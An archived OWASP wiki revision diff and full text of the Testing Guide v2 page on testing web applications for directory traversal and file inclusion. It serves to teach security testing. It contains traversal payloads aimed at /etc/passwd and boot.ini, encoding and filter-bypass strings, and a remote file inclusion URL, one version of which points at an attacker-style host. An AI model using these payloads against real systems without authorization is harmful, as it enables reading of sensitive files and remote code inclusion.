This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Testing for Directory Traversal"

From OWASP
Jump to: navigation, search
(Tools)
(Reviewed, changed slight content and grammar)
Line 2: Line 2:
  
 
== Brief Summary ==
 
== Brief Summary ==
Nowadays, many web applications use and manage files. Using input validation methods not well designed, an aggressor could exploit the system in order to read/write files that are not intended to be accessible; in particular situations it could be possible to execute arbitrary code or system commands.
+
Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read/write files that are not intended to be accessible; in particular situations it could be possible to execute arbitrary code or system commands.
 
<br>
 
<br>
  
 
== Description of the Issue ==  
 
== Description of the Issue ==  
Usually, web servers and web applications implement authentication mechanisms in order to control the access to files and resources.  
+
Traditionally web servers and web applications implement authentication mechanisms in order to control the access to files and resources.  
 
Web servers try to confine users' files inside a "root directory" or "web document root" which represents a physical directory on the file system; users have just to consider this directory as the base directory into the hierarchical structure of the web application.  
 
Web servers try to confine users' files inside a "root directory" or "web document root" which represents a physical directory on the file system; users have just to consider this directory as the base directory into the hierarchical structure of the web application.  
 
The definition of the privileges is made using ''Access Control Lists'' (ACL) that identify which users and groups are supposed to be able to access, modify or execute a specific file on the server.
 
The definition of the privileges is made using ''Access Control Lists'' (ACL) that identify which users and groups are supposed to be able to access, modify or execute a specific file on the server.
 
These mechanisms are designed to prevent the access to sensible files from malicious users (example: the common ''/etc/passwd'' into Unix-like platform) or to avoid the execution of system commands.
 
These mechanisms are designed to prevent the access to sensible files from malicious users (example: the common ''/etc/passwd'' into Unix-like platform) or to avoid the execution of system commands.
  
Many web applications use server-side scripts to include different kinds of files: is quite common to use this method to manage graphics templates, load static texts, and so on. Unfortunately, these applications show security issues if the input parameters used (form parameters, cookies values, ...) are not well validated.   
+
Many web applications use server-side scripts to include different kinds of files: is quite common to use this method to manage graphics templates, load static texts, and so on. Unfortunately, these applications show security issues if the input parameters used (form parameters, cookies values) are not correctly validated.   
  
 
In web servers and web applications too, this kind of problem arises in directory traversal/file include attacks; exploiting this kind of vulnerability an attacker is able read directory and files which normally he/she couldn't read, access data outside the web document root, include scripts and other kinds of files from external websites.   
 
In web servers and web applications too, this kind of problem arises in directory traversal/file include attacks; exploiting this kind of vulnerability an attacker is able read directory and files which normally he/she couldn't read, access data outside the web document root, include scripts and other kinds of files from external websites.   
Line 26: Line 26:
 
== Black Box testing and example ==
 
== Black Box testing and example ==
 
('''a''') '''Input Vectors Enumeration'''<br>
 
('''a''') '''Input Vectors Enumeration'''<br>
As others unvalidated input vulnerabilities, in which an aggressor exploit the insufficient ''validation''/''sanitization'' process, also for the directory traversal flaw is necessary to consider each parameter whose value is provided by the users: form parameters (GET/POST), values inside cookies, values stored into databases from previous client-server interactions, others HTTP header parameters.
+
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all part of the application which accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and html forms.  
  
 
Examples of checks to be performed at this stage include:
 
Examples of checks to be performed at this stage include:
  
* Do you notice some parameters which you could recognize as file related into HTTP requests?  
+
* Parameters which you could recognize as file related into HTTP requests?  
* Strange file extension?  
+
* Strange file extensions?  
* Curious variable name?   
+
* Interesting variable name?   
 
<pre>
 
<pre>
 
http://example.com/getUserProfile.jsp?item=ikki.html
 
http://example.com/getUserProfile.jsp?item=ikki.html
Line 47: Line 47:
 
<br>
 
<br>
  
('''b''') '''Exploit Techniques'''
+
('''b''') '''Testing Techniques'''
  
As next step, during the assessment, we need to analyze the different attack techniques used by an aggressor in order to evaluate the input validation functions present into the web application.
+
The next stage of testing is analysing the input validation functions present into the web application.
  
 
Using the previous example, the dynamic page called ''getUserProfile.jsp'' loads static informations from a file, showing the content to users. An attacker could insert the malicious string "''../../../../etc/passwd''" to include the password hash file of a Linux/Unix system.
 
Using the previous example, the dynamic page called ''getUserProfile.jsp'' loads static informations from a file, showing the content to users. An attacker could insert the malicious string "''../../../../etc/passwd''" to include the password hash file of a Linux/Unix system.
 
Obviously this kind of attack is possible only if the validation checkpoint fails; according to the filesystem privileges, the web application itself must be able to read the file.
 
Obviously this kind of attack is possible only if the validation checkpoint fails; according to the filesystem privileges, the web application itself must be able to read the file.
  
To exploit this flaw, an aggressor needs some knowledge on where to blindly find any default files and directories on the system: guessing and trying again until the attack works is usually an easy way to perform a directory climbing.
+
To sucessfully test for this flaw, the tester needs to have knowledge on the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from a IIS web server
 
   
 
   
 
<pre>
 
<pre>
Line 65: Line 65:
 
</pre>
 
</pre>
  
It's also possible to include files (''scripts too!'') located on external website. Let's see:
+
It's also possible to include files, and scripts, located on external website.  
 
<pre>
 
<pre>
http://example.com/index.php?file=http://www.attackerwebsite.com/malicioustxt
+
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
 
</pre>
 
</pre>
  
Line 75: Line 75:
 
</pre>
 
</pre>
  
The component called "''main.cgi''" is located into the same directory of the normal HTML static files used by the application.
+
The component called "''main.cgi''" is located in the same directory as the normal HTML static files used by the application.
Sometimes, when the attackers are not so lucky, they need to use special chars (like the "'''.'''" dot, "'''%00'''" null, ...) in order to bypass file extension controls and/or stop the script execution.
+
In some cases the tester needs to encode the requests using special charecters (like the "'''.'''" dot, "'''%00'''" null, ...) in order to bypass file extension controls and/or stop the script execution.
  
It's also very important to notice that when developers implement an input validation function sometimes they don't consider every possible chars encoding.
+
<b>Tip</b>
During a Black Box Test is useful to try to inject every kind of chars encoding and also every kind of path definition.  
+
It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first your test string isn't sucessful, try another encoding scheme.
 
   
 
   
 
Each operating system use different chars as path separator:  
 
Each operating system use different chars as path separator:  
Line 142: Line 142:
 
</pre>
 
</pre>
 
<br>
 
<br>
During a Gray Box Testing is usually possible to discover vulnerabilities that are impossible (''or very difficult!'') to find performing a Black Box assessment.  
+
Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible, to find during a standard Black Box assessment.  
  
Some web applications generate dynamic pages using values and parameters stored into a database; if an attacker could insert crafted directory traversal strings when the application saves the data, probably it will occurs a sort of "indirect" directory traversal attack. This kind of security problems is difficult to find because the parameters inside the inclusion functions seem internal and "safe" but otherwise they are not.  
+
Some web applications generate dynamic pages using values and parameters stored into a database; It may be possible to insert specially crafted directory traversal strings when the application saves the data. This kind of security problems is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe" but otherwise they are not.  
  
Additionally, reviewing the source code, it is possible to analyze the functions that are supposed to handle invalid input: some developers try to massage invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.
+
Additionally, reviewing the source code, it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.
  
 
Considering a web application with these instructions:
 
Considering a web application with these instructions:
Line 155: Line 155:
 
</pre>
 
</pre>
  
An aggressor could exploit the flaw, as in following example:
+
Testing for the flaw is acheived by:
 
<pre>
 
<pre>
 
file=....//....//boot.ini  
 
file=....//....//boot.ini  

Revision as of 16:33, 6 November 2006

OWASP Testing Guide v2 Table of Contents

Brief Summary

Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read/write files that are not intended to be accessible; in particular situations it could be possible to execute arbitrary code or system commands.

Description of the Issue

Traditionally web servers and web applications implement authentication mechanisms in order to control the access to files and resources. Web servers try to confine users' files inside a "root directory" or "web document root" which represents a physical directory on the file system; users have just to consider this directory as the base directory into the hierarchical structure of the web application. The definition of the privileges is made using Access Control Lists (ACL) that identify which users and groups are supposed to be able to access, modify or execute a specific file on the server. These mechanisms are designed to prevent the access to sensible files from malicious users (example: the common /etc/passwd into Unix-like platform) or to avoid the execution of system commands.

Many web applications use server-side scripts to include different kinds of files: is quite common to use this method to manage graphics templates, load static texts, and so on. Unfortunately, these applications show security issues if the input parameters used (form parameters, cookies values) are not correctly validated.

In web servers and web applications too, this kind of problem arises in directory traversal/file include attacks; exploiting this kind of vulnerability an attacker is able read directory and files which normally he/she couldn't read, access data outside the web document root, include scripts and other kinds of files from external websites.

For the purpose of the OWASP Testing Guide, we will just consider the security threats related to web applications and not to web server (as the infamous "%5c escape code" into Microsoft IIS web server). We will provide further reading, in the references section, for the interested readers.

This kind of attack is also know as the dot-dot-slash attack (../), path traversal, directory climbing, backtracking.

During an assessment, in order to discover directory traversal and file include flaws, we need to perform two different stages:

  • (a) Input Vectors Enumeration (a systematical evaluation of each input vector)
  • (b) Exploiting Techniques (a methodical evaluation of each attack technique used by an aggressor to exploit the vulnerability)


Black Box testing and example

(a) Input Vectors Enumeration
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all part of the application which accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and html forms.

Examples of checks to be performed at this stage include:

  • Parameters which you could recognize as file related into HTTP requests?
  • Strange file extensions?
  • Interesting variable name?
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
  • Is it possible to identify cookies used by the web application for the dynamic generation of pages/templates?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed


(b) Testing Techniques

The next stage of testing is analysing the input validation functions present into the web application.

Using the previous example, the dynamic page called getUserProfile.jsp loads static informations from a file, showing the content to users. An attacker could insert the malicious string "../../../../etc/passwd" to include the password hash file of a Linux/Unix system. Obviously this kind of attack is possible only if the validation checkpoint fails; according to the filesystem privileges, the web application itself must be able to read the file.

To sucessfully test for this flaw, the tester needs to have knowledge on the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from a IIS web server

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd

For the cookies example, we have:

Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd

It's also possible to include files, and scripts, located on external website.

http://example.com/index.php?file=http://www.owasp.org/malicioustxt

The following example will demonstrate how is it possible to show the source code of a CGI component, without using any path traversal chars.

http://example.com/main.cgi?home=main.cgi

The component called "main.cgi" is located in the same directory as the normal HTML static files used by the application. In some cases the tester needs to encode the requests using special charecters (like the "." dot, "%00" null, ...) in order to bypass file extension controls and/or stop the script execution.

Tip It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first your test string isn't sucessful, try another encoding scheme.

Each operating system use different chars as path separator:

Unix-like OS:

root directory: "/" 
directory separator: "/" 

Windows OS:

root directory: "<drive letter>:\"  
directory separator: "\" but also "/" 

(Usually on Win, the directory traversal attack is limited to a single partition)

Classic Mac OS:

root directory: "<drive letter>:" 
directory separator: ":" 


We should take in account the following chars encoding:

  • URL encoding e double URL encoding
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
  • Unicode/UTF-8 Encoding (It just works in systems which are able to accept overlong UTF-8 sequences)
..%c0%af represents ../
..%c1%9c represents ..\


Gray Box testing and example

When the analysis is performed with a White Box approach, we have to follow the same methodology as in the Black Box Testing. However, since we can review the source code is possible to search the input vectors (stage (a) of the testing) more easily and accurately. During a source code review we can use simple tools (as the grep command) to search one or more common patterns into the application code: inclusion functions/methods, filesystem operations and so on.

PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... 
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...

Using online code search engines (Google CodeSearch[1], Koders[2]) is also possible to find directory traversal flaws into OpenSource software published on Internet.

For PHP, we can use:

lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)


Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible, to find during a standard Black Box assessment.

Some web applications generate dynamic pages using values and parameters stored into a database; It may be possible to insert specially crafted directory traversal strings when the application saves the data. This kind of security problems is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe" but otherwise they are not.

Additionally, reviewing the source code, it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.

Considering a web application with these instructions:

filename = Request.QueryString(“file”); 
Replace(filename, “/”,”\”); 
Replace(filename, “..\”,””);

Testing for the flaw is acheived by:

file=....//....//boot.ini 
file=....\\....\\boot.ini 
file= ..\..\boot.ini 


References

  • Security Risks of Unicode

http://www.schneier.com/crypto-gram-0007.html[3]

  • phpBB Attachment Mod Directory Traversal HTTP POST Injection

http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html[4]

Tools

  • Web Proxy (Burp Suite[5], Paros[6], WebScarab[7])
  • Enconding/Decoding tools
  • String searcher (grep[8], your favorite text editor)



OWASP Testing Guide v2

Here is the OWASP Testing Guide v2 Table of Contents OWASP Testing Guide v2 Table of Contents